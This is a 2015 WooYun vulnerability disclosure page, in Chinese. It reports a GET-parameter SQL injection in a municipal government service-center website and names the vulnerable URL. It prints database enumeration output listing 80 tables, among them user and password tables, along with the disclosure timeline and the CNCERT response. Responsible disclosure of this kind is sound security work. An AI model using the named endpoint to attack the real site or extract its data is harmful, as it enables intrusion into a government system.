当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0106655

漏洞标题：某市人民政府政务服务中心另一处get注射

相关厂商：当阳市人民政府

漏洞作者： 路人甲

提交时间：2015-04-10 14:41

修复时间：2015-05-29 18:00

公开时间：2015-05-29 18:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-10： 细节已通知厂商并且等待厂商处理中
2015-04-14： 厂商已经确认，细节仅向厂商公开
2015-04-24： 细节向核心白帽子及相关领域专家公开
2015-05-04： 细节向普通白帽子公开
2015-05-14： 细节向实习白帽子公开
2015-05-29： 细节向公众公开

简要描述：

某市人民政府政务服务中心另一处get注射
前面提交了一处get注入

详细说明：

问题存在于当阳市人民政府政务服务中心
http://www.dyxz.gov.cn/busiitemShow.TJ?spsxid=42058201115411X003-004&spsxmc=%BC%D2%B5%E7%A3%A8%BA%AC%B5%E7%D7%D3%D0%C5%CF%A2%D6%D5%B6%CB%B2%FA%C6%B7%A3%A9%B2%FA%C6%B7%CE%AC%D0%DE%D0%ED%BF%C9%D6%A4%BA%CB%D7%BC&depName=????????????? (GET)

1.png


1.png


漏洞证明：

back-end DBMS: Microsoft SQL Server 2005
Database: web_dangyang
[80 tables]
+-----------------------------+
| T_APPLICANT                 |
| T_BSGXB                     |
| T_BUSIITEM                  |
| T_BUSINESS                  |
| T_DCB                       |
| T_DEALSELDOCS               |
| T_DJL                       |
| T_DOCCONFIG                 |
| T_FAQ                       |
| T_GROUPOFUSER               |
| T_HFB                       |
| T_INFORMATION               |
| T_JC_TS_GRSF                |
| T_JC_TS_TSLX                |
| T_JC_TS_TSWTFL              |
| T_JC_TS_XB                  |
| T_JC_TS_XZXWLX              |
| T_JC_TS_YESORNO             |
| T_JC_XZXK_BANJIE            |
| T_JC_XZXK_BUSIINDEX         |
| T_JC_XZXK_BUSI_TIMELIMIT    |
| T_JC_XZXK_PERMISSIONITEMSYS |
| T_JC_XZXK_SHOULI            |
| T_LOG                       |
| T_LYB                       |
| T_MENU                      |
| T_OL_BUSIDEAL               |
| T_OL_DIANZIWENDANG          |
| T_OL_EDOCUMENT              |
| T_OL_SHENQINGBIANHAO        |
| T_OL_SHENQINGFANGZILIAO     |
| T_OL_XIANSHIXINXIPEIZHI     |
| T_OL_YEWUSHENQING           |
| T_ONLINEUSER                |
| T_POWER                     |
| T_POWEROFGROUP              |
| T_POWEROFUSER               |
| T_QYJMBSB_FL                |
| T_QYJMBSB_SL                |
| T_QYJMBSB_ZL                |
| T_SATISFYANSWER             |
| T_SATISFYSUBJECT            |
| T_SB_USER                   |
| T_SELDOC                    |
| T_SPITEMOFBUSIITEM          |
| T_SURVEY                    |
| T_SYSDUTY                   |
| T_SYS_DEPARTMENT            |
| T_SYS_DUTY                  |
| T_TEMPLATE                  |
| T_TSDH                      |
| T_TSLX                      |
| T_TSSLB                     |
| T_TSTYPE                    |
| T_TSWTFL                    |
| T_TSXB                      |
| T_USER                      |
| T_USERGROUP                 |
| T_WEBUSER                   |
| T_WEBUSERINFO               |
| T_XKWD                      |
| T_YSBUSI                    |
| T_ZILEI_SUNLEI_GUANXI       |
| T_ZRXX                      |
| VIEW1                       |
| dtproperties                |
| sqlmapoutput                |
| t_allforms                  |
| t_chats                     |
| t_department                |
| t_document                  |
| t_duty                      |
| t_exception_info            |
| t_forms                     |
| t_passwordofforms           |
| t_permissionitem            |
| t_permissionitem_bak        |
| t_permissionitem_type       |
| t_query                     |
| t_web_user                  |
+-----------------------------+

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-04-14 17:59

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给湖北分中心，由湖北分中心后续协调网站管理单位处置。

最新状态：

暂无